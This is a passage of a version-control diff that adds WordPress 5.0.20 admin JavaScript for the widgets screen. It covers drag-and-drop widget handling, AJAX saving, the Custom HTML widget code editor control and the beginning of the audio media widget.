+					// Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below.
+					height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height();
+					$this.css( 'min-height', height + 'px' );
+				}
+			},
+
+			stop: function( event, ui ) {
+				var addNew, widgetNumber, $sidebar, $children, child, item,
+					$widget = ui.item,
+					id = the_id;
+
+				// Reset the var to hold a previously closed sidebar.
+				wpWidgets.hoveredSidebar = null;
+
+				if ( $widget.hasClass('deleting') ) {
+					wpWidgets.save( $widget, 1, 0, 1 ); // delete widget
+					$widget.remove();
+					return;
+				}
+
+				addNew = $widget.find('input.add_new').val();
+				widgetNumber = $widget.find('input.multi_number').val();
+
+				$widget.attr( 'style', '' ).removeClass('ui-draggable');
+				the_id = '';
+
+				if ( addNew ) {
+					if ( 'multi' === addNew ) {
+						$widget.html(
+							$widget.html().replace( /<[^<>]+>/g, function( tag ) {
+								return tag.replace( /__i__|%i%/g, widgetNumber );
+							})
+						);
+
+						$widget.attr( 'id', id.replace( '__i__', widgetNumber ) );
+						widgetNumber++;
+
+						$( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber );
+					} else if ( 'single' === addNew ) {
+						$widget.attr( 'id', 'new-' + id );
+						rem = 'div#' + id;
+					}
+
+					wpWidgets.save( $widget, 0, 0, 1 );
+					$widget.find('input.add_new').val('');
+					$document.trigger( 'widget-added', [ $widget ] );
+				}
+
+				$sidebar = $widget.parent();
+
+				if ( $sidebar.parent().hasClass('closed') ) {
+					$sidebar.parent()
+						.removeClass( 'closed' )
+						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
+
+					$children = $sidebar.children('.widget');
+
+					// Make sure the dropped widget is at the top
+					if ( $children.length > 1 ) {
+						child = $children.get(0);
+						item = $widget.get(0);
+
+						if ( child.id && item.id && child.id !== item.id ) {
+							$( child ).before( $widget );
+						}
+					}
+				}
+
+				if ( addNew ) {
+					$widget.find( '.widget-action' ).trigger( 'click' );
+				} else {
+					wpWidgets.saveOrder( $sidebar.attr('id') );
+				}
+			},
+
+			activate: function() {
+				$(this).parent().addClass( 'widget-hover' );
+			},
+
+			deactivate: function() {
+				// Remove all min-height added on "start"
+				$(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' );
+			},
+
+			receive: function( event, ui ) {
+				var $sender = $( ui.sender );
+
+				// Don't add more widgets to orphaned sidebars
+				if ( this.id.indexOf('orphaned_widgets') > -1 ) {
+					$sender.sortable('cancel');
+					return;
+				}
+
+				// If the last widget was moved out of an orphaned sidebar, close and remove it.
+				if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) {
+					$sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } );
+				}
+			}
+		}).sortable( 'option', 'connectWith', 'div.widgets-sortables' );
+
+		$('#available-widgets').droppable({
+			tolerance: 'pointer',
+			accept: function(o){
+				return $(o).parent().attr('id') !== 'widget-list';
+			},
+			drop: function(e,ui) {
+				ui.draggable.addClass('deleting');
+				$('#removing-widget').hide().children('span').empty();
+			},
+			over: function(e,ui) {
+				ui.draggable.addClass('deleting');
+				$('div.widget-placeholder').hide();
+
+				if ( ui.draggable.hasClass('ui-sortable-helper') ) {
+					$('#removing-widget').show().children('span')
+					.html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() );
+				}
+			},
+			out: function(e,ui) {
+				ui.draggable.removeClass('deleting');
+				$('div.widget-placeholder').show();
+				$('#removing-widget').hide().children('span').empty();
+			}
+		});
+
+		// Area Chooser
+		$( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) {
+			var $element = $( element ),
+				name = $element.find( '.sidebar-name h2' ).text(),
+				id = $element.find( '.widgets-sortables' ).attr( 'id' ),
+				li = $('<li tabindex="0">').text( $.trim( name ) );
+
+			if ( index === 0 ) {
+				li.addClass( 'widgets-chooser-selected' );
+			}
+
+			selectSidebar.append( li );
+			li.data( 'sidebarId', id );
+		});
+
+		$( '#available-widgets .widget .widget-title' ).on( 'click.widgets-chooser', function() {
+			var $widget = $(this).closest( '.widget' );
+
+			if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) {
+				self.closeChooser();
+			} else {
+				// Open the chooser
+				self.clearWidgetSelection();
+				$( '#widgets-left' ).addClass( 'chooser' );
+				$widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser );
+
+				chooser.slideDown( 300, function() {
+					selectSidebar.find('.widgets-chooser-selected').focus();
+				});
+
+				selectSidebar.find( 'li' ).on( 'focusin.widgets-chooser', function() {
+					selectSidebar.find('.widgets-chooser-selected').removeClass( 'widgets-chooser-selected' );
+					$(this).addClass( 'widgets-chooser-selected' );
+				} );
+			}
+		});
+
+		// Add event handlers
+		chooser.on( 'click.widgets-chooser', function( event ) {
+			var $target = $( event.target );
+
+			if ( $target.hasClass('button-primary') ) {
+				self.addWidget( chooser );
+				self.closeChooser();
+			} else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) {
+				self.closeChooser();
+			}
+		}).on( 'keyup.widgets-chooser', function( event ) {
+			if ( event.which === $.ui.keyCode.ENTER ) {
+				if ( $( event.target ).hasClass( 'widgets-chooser-cancel' ) ) {
+					// Close instead of adding when pressing Enter on the Cancel button
+					self.closeChooser();
+				} else {
+					self.addWidget( chooser );
+					self.closeChooser();
+				}
+			} else if ( event.which === $.ui.keyCode.ESCAPE ) {
+				self.closeChooser();
+			}
+		});
+	},
+
+	saveOrder : function( sidebarId ) {
+		var data = {
+			action: 'widgets-order',
+			savewidgets: $('#_wpnonce_widgets').val(),
+			sidebars: []
+		};
+
+		if ( sidebarId ) {
+			$( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' );
+		}
+
+		$('div.widgets-sortables').each( function() {
+			if ( $(this).sortable ) {
+				data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(',');
+			}
+		});
+
+		$.post( ajaxurl, data, function() {
+			$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
+			$( '.spinner' ).removeClass( 'is-active' );
+		});
+	},
+
+	save : function( widget, del, animate, order ) {
+		var self = this, data, a,
+			sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ),
+			form = widget.find( 'form' ),
+			isAdd = widget.find( 'input.add_new' ).val();
+
+		if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) {
+			return;
+		}
+
+		data = form.serialize();
+
+		widget = $(widget);
+		$( '.spinner', widget ).addClass( 'is-active' );
+
+		a = {
+			action: 'save-widget',
+			savewidgets: $('#_wpnonce_widgets').val(),
+			sidebar: sidebarId
+		};
+
+		if ( del ) {
+			a.delete_widget = 1;
+		}
+
+		data += '&' + $.param(a);
+
+		$.post( ajaxurl, data, function(r) {
+			var id = $('input.widget-id', widget).val();
+
+			if ( del ) {
+				if ( ! $('input.widget_number', widget).val() ) {
+					$('#available-widgets').find('input.widget-id').each(function(){
+						if ( $(this).val() === id ) {
+							$(this).closest('div.widget').show();
+						}
+					});
+				}
+
+				if ( animate ) {
+					order = 0;
+					widget.slideUp( 'fast', function() {
+						$( this ).remove();
+						wpWidgets.saveOrder();
+						delete self.dirtyWidgets[ id ];
+					});
+				} else {
+					widget.remove();
+					delete self.dirtyWidgets[ id ];
+
+					if ( sidebarId === 'wp_inactive_widgets' ) {
+						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
+					}
+				}
+			} else {
+				$( '.spinner' ).removeClass( 'is-active' );
+				if ( r && r.length > 2 ) {
+					$( 'div.widget-content', widget ).html( r );
+					wpWidgets.appendTitle( widget );
+
+					// Re-disable the save button.
+					widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wpWidgets.l10n.saved );
+
+					widget.removeClass( 'widget-dirty' );
+
+					// Clear the dirty flag from the widget.
+					delete self.dirtyWidgets[ id ];
+
+					$document.trigger( 'widget-updated', [ widget ] );
+
+					if ( sidebarId === 'wp_inactive_widgets' ) {
+						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
+					}
+				}
+			}
+
+			if ( order ) {
+				wpWidgets.saveOrder();
+			}
+		});
+	},
+
+	removeInactiveWidgets : function() {
+		var $element = $( '.remove-inactive-widgets' ), self = this, a, data;
+
+		$( '.spinner', $element ).addClass( 'is-active' );
+
+		a = {
+			action : 'delete-inactive-widgets',
+			removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val()
+		};
+
+		data = $.param( a );
+
+		$.post( ajaxurl, data, function() {
+			$( '#wp_inactive_widgets .widget' ).each(function() {
+				var $widget = $( this );
+				delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ];
+				$widget.remove();
+			});
+			$( '#inactive-widgets-control-remove' ).prop( 'disabled', true );
+			$( '.spinner', $element ).removeClass( 'is-active' );
+		} );
+	},
+
+	appendTitle : function(widget) {
+		var title = $('input[id*="-title"]', widget).val() || '';
+
+		if ( title ) {
+			title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+		}
+
+		$(widget).children('.widget-top').children('.widget-title').children()
+				.children('.in-widget-title').html(title);
+
+	},
+
+	close : function(widget) {
+		widget.children('.widget-inside').slideUp('fast', function() {
+			widget.attr( 'style', '' )
+				.find( '.widget-top button.widget-action' )
+					.attr( 'aria-expanded', 'false' )
+					.focus();
+		});
+	},
+
+	addWidget: function( chooser ) {
+		var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds,
+			sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'),
+			sidebar = $( '#' + sidebarId );
+
+		widget = $('#available-widgets').find('.widget-in-question').clone();
+		widgetId = widget.attr('id');
+		add = widget.find( 'input.add_new' ).val();
+		n = widget.find( 'input.multi_number' ).val();
+
+		// Remove the cloned chooser from the widget
+		widget.find('.widgets-chooser').remove();
+
+		if ( 'multi' === add ) {
+			widget.html(
+				widget.html().replace( /<[^<>]+>/g, function(m) {
+					return m.replace( /__i__|%i%/g, n );
+				})
+			);
+
+			widget.attr( 'id', widgetId.replace( '__i__', n ) );
+			n++;
+			$( '#' + widgetId ).find('input.multi_number').val(n);
+		} else if ( 'single' === add ) {
+			widget.attr( 'id', 'new-' + widgetId );
+			$( '#' + widgetId ).hide();
+		}
+
+		// Open the widgets container.
+		sidebar.closest( '.widgets-holder-wrap' )
+			.removeClass( 'closed' )
+			.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
+
+		sidebar.append( widget );
+		sidebar.sortable('refresh');
+
+		wpWidgets.save( widget, 0, 0, 1 );
+		// No longer "new" widget
+		widget.find( 'input.add_new' ).val('');
+
+		$document.trigger( 'widget-added', [ widget ] );
+
+		/*
+		 * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll.
+		 * Otherwise, scroll up to so the sidebar is in view.
+		 *
+		 * We do this by comparing the top and bottom, of the sidebar so see if they are within
+		 * the bounds of the viewport.
+		 */
+		viewportTop = $(window).scrollTop();
+		viewportBottom = viewportTop + $(window).height();
+		sidebarBounds = sidebar.offset();
+
+		sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight();
+
+		if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) {
+			$( 'html, body' ).animate({
+				scrollTop: sidebarBounds.top - 130
+			}, 200 );
+		}
+
+		window.setTimeout( function() {
+			// Cannot use a callback in the animation above as it fires twice,
+			// have to queue this "by hand".
+			widget.find( '.widget-title' ).trigger('click');
+		}, 250 );
+	},
+
+	closeChooser: function() {
+		var self = this;
+
+		$( '.widgets-chooser' ).slideUp( 200, function() {
+			$( '#wpbody-content' ).append( this );
+			self.clearWidgetSelection();
+		});
+	},
+
+	clearWidgetSelection: function() {
+		$( '#widgets-left' ).removeClass( 'chooser' );
+		$( '.widget-in-question' ).removeClass( 'widget-in-question' );
+	},
+
+	/**
+	 * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it.
+	 *
+	 * Used when a Widget gets dragged in/out of the Sidebar and never dropped.
+	 *
+	 * @param {object} event jQuery event object.
+	 */
+	closeSidebar: function( event ) {
+		this.hoveredSidebar
+			.addClass( 'closed' )
+			.find( '.handlediv' ).attr( 'aria-expanded', 'false' );
+
+		$( event.target ).css( 'min-height', '' );
+		this.hoveredSidebar = null;
+	}
+};
+
+$document.ready( function(){ wpWidgets.init(); } );
+
+})(jQuery);
Index: /tags/5.0.20/src/wp-admin/js/widgets/custom-html-widgets.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/widgets/custom-html-widgets.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/widgets/custom-html-widgets.js	(revision 56912)
@@ -0,0 +1,429 @@
+/* global wp */
+/* eslint consistent-this: [ "error", "control" ] */
+/* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */
+wp.customHtmlWidgets = ( function( $ ) {
+	'use strict';
+
+	var component = {
+		idBases: [ 'custom_html' ],
+		codeEditorSettings: {},
+		l10n: {
+			errorNotice: {
+				singular: '',
+				plural: ''
+			}
+		}
+	};
+
+	/**
+	 * Text widget control.
+	 *
+	 * @class CustomHtmlWidgetControl
+	 * @constructor
+	 * @abstract
+	 */
+	component.CustomHtmlWidgetControl = Backbone.View.extend({
+
+		/**
+		 * View events.
+		 *
+		 * @type {Object}
+		 */
+		events: {},
+
+		/**
+		 * Initialize.
+		 *
+		 * @param {Object} options - Options.
+		 * @param {jQuery} options.el - Control field container element.
+		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
+		 * @returns {void}
+		 */
+		initialize: function initialize( options ) {
+			var control = this;
+
+			if ( ! options.el ) {
+				throw new Error( 'Missing options.el' );
+			}
+			if ( ! options.syncContainer ) {
+				throw new Error( 'Missing options.syncContainer' );
+			}
+
+			Backbone.View.prototype.initialize.call( control, options );
+			control.syncContainer = options.syncContainer;
+			control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val();
+			control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val();
+			control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']';
+
+			control.$el.addClass( 'custom-html-widget-fields' );
+			control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );
+
+			control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' );
+			control.currentErrorAnnotations = [];
+			control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' );
+			control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting.
+
+			control.fields = {
+				title: control.$el.find( '.title' ),
+				content: control.$el.find( '.content' )
+			};
+
+			// Sync input fields to hidden sync fields which actually get sent to the server.
+			_.each( control.fields, function( fieldInput, fieldName ) {
+				fieldInput.on( 'input change', function updateSyncField() {
+					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
+					if ( syncInput.val() !== fieldInput.val() ) {
+						syncInput.val( fieldInput.val() );
+						syncInput.trigger( 'change' );
+					}
+				});
+
+				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
+				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
+			});
+		},
+
+		/**
+		 * Update input fields from the sync fields.
+		 *
+		 * This function is called at the widget-updated and widget-synced events.
+		 * A field will only be updated if it is not currently focused, to avoid
+		 * overwriting content that the user is entering.
+		 *
+		 * @returns {void}
+		 */
+		updateFields: function updateFields() {
+			var control = this, syncInput;
+
+			if ( ! control.fields.title.is( document.activeElement ) ) {
+				syncInput = control.syncContainer.find( '.sync-input.title' );
+				control.fields.title.val( syncInput.val() );
+			}
+
+			/*
+			 * Prevent updating content when the editor is focused or if there are current error annotations,
+			 * to prevent the editor's contents from getting sanitized as soon as a user removes focus from
+			 * the editor. This is particularly important for users who cannot unfiltered_html.
+			 */
+			control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations;
+			if ( ! control.contentUpdateBypassed ) {
+				syncInput = control.syncContainer.find( '.sync-input.content' );
+				control.fields.content.val( syncInput.val() ).trigger( 'change' );
+			}
+		},
+
+		/**
+		 * Show linting error notice.
+		 *
+		 * @param {Array} errorAnnotations - Error annotations.
+		 * @returns {void}
+		 */
+		updateErrorNotice: function( errorAnnotations ) {
+			var control = this, errorNotice, message = '', customizeSetting;
+
+			if ( 1 === errorAnnotations.length ) {
+				message = component.l10n.errorNotice.singular.replace( '%d', '1' );
+			} else if ( errorAnnotations.length > 1 ) {
+				message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) );
+			}
+
+			if ( control.fields.content[0].setCustomValidity ) {
+				control.fields.content[0].setCustomValidity( message );
+			}
+
+			if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) {
+				customizeSetting = wp.customize( control.customizeSettingId );
+				customizeSetting.notifications.remove( 'htmlhint_error' );
+				if ( 0 !== errorAnnotations.length ) {
+					customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', {
+						message: message,
+						type: 'error'
+					} ) );
+				}
+			} else if ( 0 !== errorAnnotations.length ) {
+				errorNotice = $( '<div class="inline notice notice-error notice-alt"></div>' );
+				errorNotice.append( $( '<p></p>', {
+					text: message
+				} ) );
+				control.errorNoticeContainer.empty();
+				control.errorNoticeContainer.append( errorNotice );
+				control.errorNoticeContainer.slideDown( 'fast' );
+				wp.a11y.speak( message );
+			} else {
+				control.errorNoticeContainer.slideUp( 'fast' );
+			}
+		},
+
+		/**
+		 * Initialize editor.
+		 *
+		 * @returns {void}
+		 */
+		initializeEditor: function initializeEditor() {
+			var control = this, settings;
+
+			if ( component.codeEditorSettings.disabled ) {
+				return;
+			}
+
+			settings = _.extend( {}, component.codeEditorSettings, {
+
+				/**
+				 * Handle tabbing to the field before the editor.
+				 *
+				 * @returns {void}
+				 */
+				onTabPrevious: function onTabPrevious() {
+					control.fields.title.focus();
+				},
+
+				/**
+				 * Handle tabbing to the field after the editor.
+				 *
+				 * @returns {void}
+				 */
+				onTabNext: function onTabNext() {
+					var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' );
+					tabbables.first().focus();
+				},
+
+				/**
+				 * Disable save button and store linting errors for use in updateFields.
+				 *
+				 * @param {Array} errorAnnotations - Error notifications.
+				 * @returns {void}
+				 */
+				onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
+					control.currentErrorAnnotations = errorAnnotations;
+				},
+
+				/**
+				 * Update error notice.
+				 *
+				 * @param {Array} errorAnnotations - Error annotations.
+				 * @returns {void}
+				 */
+				onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
+					control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 );
+					control.updateErrorNotice( errorAnnotations );
+				}
+			});
+
+			control.editor = wp.codeEditor.initialize( control.fields.content, settings );
+
+			// Improve the editor accessibility.
+			$( control.editor.codemirror.display.lineDiv )
+				.attr({
+					role: 'textbox',
+					'aria-multiline': 'true',
+					'aria-labelledby': control.fields.content[0].id + '-label',
+					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
+				});
+
+			// Focus the editor when clicking on its label.
+			$( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() {
+				control.editor.codemirror.focus();
+			});
+
+			control.fields.content.on( 'change', function() {
+				if ( this.value !== control.editor.codemirror.getValue() ) {
+					control.editor.codemirror.setValue( this.value );
+				}
+			});
+			control.editor.codemirror.on( 'change', function() {
+				var value = control.editor.codemirror.getValue();
+				if ( value !== control.fields.content.val() ) {
+					control.fields.content.val( value ).trigger( 'change' );
+				}
+			});
+
+			// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
+			control.editor.codemirror.on( 'blur', function() {
+				if ( control.contentUpdateBypassed ) {
+					control.syncContainer.find( '.sync-input.content' ).trigger( 'change' );
+				}
+			});
+
+			// Prevent hitting Esc from collapsing the widget control.
+			if ( wp.customize ) {
+				control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
+					var escKeyCode = 27;
+					if ( escKeyCode === event.keyCode ) {
+						event.stopPropagation();
+					}
+				});
+			}
+		}
+	});
+
+	/**
+	 * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
+	 *
+	 * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>}
+	 */
+	component.widgetControls = {};
+
+	/**
+	 * Handle widget being added or initialized for the first time at the widget-added event.
+	 *
+	 * @param {jQuery.Event} event - Event.
+	 * @param {jQuery}       widgetContainer - Widget container element.
+	 * @returns {void}
+	 */
+	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
+		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
+		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.
+
+		idBase = widgetForm.find( '> .id_base' ).val();
+		if ( -1 === component.idBases.indexOf( idBase ) ) {
+			return;
+		}
+
+		// Prevent initializing already-added widgets.
+		widgetId = widgetForm.find( '.widget-id' ).val();
+		if ( component.widgetControls[ widgetId ] ) {
+			return;
+		}
+
+		/*
+		 * Create a container element for the widget control fields.
+		 * This is inserted into the DOM immediately before the the .widget-content
+		 * element because the contents of this element are essentially "managed"
+		 * by PHP, where each widget update cause the entire element to be emptied
+		 * and replaced with the rendered output of WP_Widget::form() which is
+		 * sent back in Ajax request made to save/update the widget instance.
+		 * To prevent a "flash of replaced DOM elements and re-initialized JS
+		 * components", the JS template is rendered outside of the normal form
+		 * container.
+		 */
+		fieldContainer = $( '<div></div>' );
+		syncContainer = widgetContainer.find( '.widget-content:first' );
+		syncContainer.before( fieldContainer );
+
+		widgetControl = new component.CustomHtmlWidgetControl({
+			el: fieldContainer,
+			syncContainer: syncContainer
+		});
+
+		component.widgetControls[ widgetId ] = widgetControl;
+
+		/*
+		 * Render the widget once the widget parent's container finishes animating,
+		 * as the widget-added event fires with a slideDown of the container.
+		 * This ensures that the textarea is visible and the editor can be initialized.
+		 */
+		renderWhenAnimationDone = function() {
+			if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d
+				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
+			} else {
+				widgetControl.initializeEditor();
+			}
+		};
+		renderWhenAnimationDone();
+	};
+
+	/**
+	 * Setup widget in accessibility mode.
+	 *
+	 * @returns {void}
+	 */
+	component.setupAccessibleMode = function setupAccessibleMode() {
+		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
+		widgetForm = $( '.editwidget > form' );
+		if ( 0 === widgetForm.length ) {
+			return;
+		}
+
+		idBase = widgetForm.find( '> .widget-control-actions > .id_base' ).val();
+		if ( -1 === component.idBases.indexOf( idBase ) ) {
+			return;
+		}
+
+		fieldContainer = $( '<div></div>' );
+		syncContainer = widgetForm.find( '> .widget-inside' );
+		syncContainer.before( fieldContainer );
+
+		widgetControl = new component.CustomHtmlWidgetControl({
+			el: fieldContainer,
+			syncContainer: syncContainer
+		});
+
+		widgetControl.initializeEditor();
+	};
+
+	/**
+	 * Sync widget instance data sanitized from server back onto widget model.
+	 *
+	 * This gets called via the 'widget-updated' event when saving a widget from
+	 * the widgets admin screen and also via the 'widget-synced' event when making
+	 * a change to a widget in the customizer.
+	 *
+	 * @param {jQuery.Event} event - Event.
+	 * @param {jQuery}       widgetContainer - Widget container element.
+	 * @returns {void}
+	 */
+	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
+		var widgetForm, widgetId, widgetControl, idBase;
+		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );
+
+		idBase = widgetForm.find( '> .id_base' ).val();
+		if ( -1 === component.idBases.indexOf( idBase ) ) {
+			return;
+		}
+
+		widgetId = widgetForm.find( '> .widget-id' ).val();
+		widgetControl = component.widgetControls[ widgetId ];
+		if ( ! widgetControl ) {
+			return;
+		}
+
+		widgetControl.updateFields();
+	};
+
+	/**
+	 * Initialize functionality.
+	 *
+	 * This function exists to prevent the JS file from having to boot itself.
+	 * When WordPress enqueues this script, it should have an inline script
+	 * attached which calls wp.textWidgets.init().
+	 *
+	 * @param {object} settings - Options for code editor, exported from PHP.
+	 * @returns {void}
+	 */
+	component.init = function init( settings ) {
+		var $document = $( document );
+		_.extend( component.codeEditorSettings, settings );
+
+		$document.on( 'widget-added', component.handleWidgetAdded );
+		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );
+
+		/*
+		 * Manually trigger widget-added events for media widgets on the admin
+		 * screen once they are expanded. The widget-added event is not triggered
+		 * for each pre-existing widget on the widgets admin screen like it is
+		 * on the customizer. Likewise, the customizer only triggers widget-added
+		 * when the widget is expanded to just-in-time construct the widget form
+		 * when it is actually going to be displayed. So the following implements
+		 * the same for the widgets admin screen, to invoke the widget-added
+		 * handler when a pre-existing media widget is expanded.
+		 */
+		$( function initializeExistingWidgetContainers() {
+			var widgetContainers;
+			if ( 'widgets' !== window.pagenow ) {
+				return;
+			}
+			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
+			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
+				var widgetContainer = $( this );
+				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
+			});
+
+			// Accessibility mode.
+			$( window ).on( 'load', function() {
+				component.setupAccessibleMode();
+			});
+		});
+	};
+
+	return component;
+})( jQuery );
Index: /tags/5.0.20/src/wp-admin/js/widgets/media-audio-widget.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/widgets/media-audio-widget.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/widgets/media-audio-widget.js	(revision 56912)
@@ -0,0 +1,150 @@
+/* eslint consistent-this: [ "error", "control" ] */
+(function( component ) {
+	'use strict';
+
+	var AudioWidgetModel, AudioWidgetControl, AudioDetailsMediaFrame;
+
+	/**
+	 * Custom audio details frame that removes the replace-audio state.
+	 *
+	 * @class AudioDetailsMediaFrame
+	 * @constructor
+	 */
+	AudioDetailsMediaFrame = wp.media.view.MediaFrame.AudioDetails.extend({
+
+		/**
+		 * Create the default states.
+		 *
+		 * @returns {void}
+		 */
+		createStates: function createStates() {
+			this.states.add([
+				new wp.media.controller.AudioDetails({
+					media: this.media
+				}),
+
+				new wp.media.controller.MediaLibrary({
+					type: 'audio',
+					id: 'add-audio-source',
+					title: wp.media.view.l10n.audioAddSourceTitle,
+					toolbar: 'add-audio-source',
+					media: this.media,
+					menu: false
+				})
+			]);
+		}
+	});
+
+	/**
+	 * Audio widget model.
+	 *
+	 * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports.
+	 *
+	 * @class AudioWidgetModel
+	 * @constructor
+	 */
+	AudioWidgetModel = component.MediaWidgetModel.extend({});
+
+	/**
+	 * Audio widget control.
+	 *
+	 * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports.
+	 *
+	 * @class AudioWidgetModel
+	 * @constructor
+	 */
+	AudioWidgetControl = component.MediaWidgetControl.extend({
+
+		/**
+		 * Show display settings.
+		 *
+		 * @type {boolean}
+		 */
+		showDisplaySettings: false,
+
+		/**
+		 * Map model props to media frame props.
+		 *
+		 * @param {Object} modelProps - Model props.
+		 * @returns {Object} Media frame props.
+		 */
+		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
+			var control = this, mediaFrameProps;
+			mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps );
+			mediaFrameProps.link = 'embed';
+			return mediaFrameProps;
+		},
+
+		/**
+		 * Render preview.
+		 *
+		 * @returns {void}
+		 */
+		renderPreview: function renderPreview() {
+			var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl;
+			attachmentId = control.model.get( 'attachment_id' );
+			attachmentUrl = control.model.get( 'url' );
+
+			if ( ! attachmentId && ! attachmentUrl ) {
+				return;
+			}
+
+			previewContainer = control.$el.find( '.media-widget-preview' );
+			previewTemplate = wp.template( 'wp-media-widget-audio-preview' );
+
+			previewContainer.html( previewTemplate({
+				model: {
+					attachment_id: control.model.get( 'attachment_id' ),
+					src: attachmentUrl
+				},
+				error: control.model.get( 'error' )
+			}));
+			wp.mediaelement.initialize();
+		},
+
+		/**
+		 * Open the media audio-edit frame to modify the selected item.
+		 *
+		 * @returns {void}
+		 */
+		editMedia: function editMedia() {
+			var control = this, mediaFrame, metadata, updateCallback;
+
+			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );
+
+			// Set up the media frame.
+			mediaFrame = new AudioDetailsMediaFrame({
+				frame: 'audio',
+				state: 'audio-details',
+				metadata: metadata
+			});
+			wp.media.frame = mediaFrame;
+			mediaFrame.$el.addClass( 'media-widget' );
+
+			updateCallback = function( mediaFrameProps ) {
+
+				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
+				control.selectedAttachment.set( mediaFrameProps );
+
+				control.model.set( _.extend(
+					control.model.defaults(),
+					control.mapMediaToModelProps( mediaFrameProps ),
+					{ error: false }
+				) );
+			};
+
+			mediaFrame.state( 'audio-details' ).on( 'update', updateCallback );
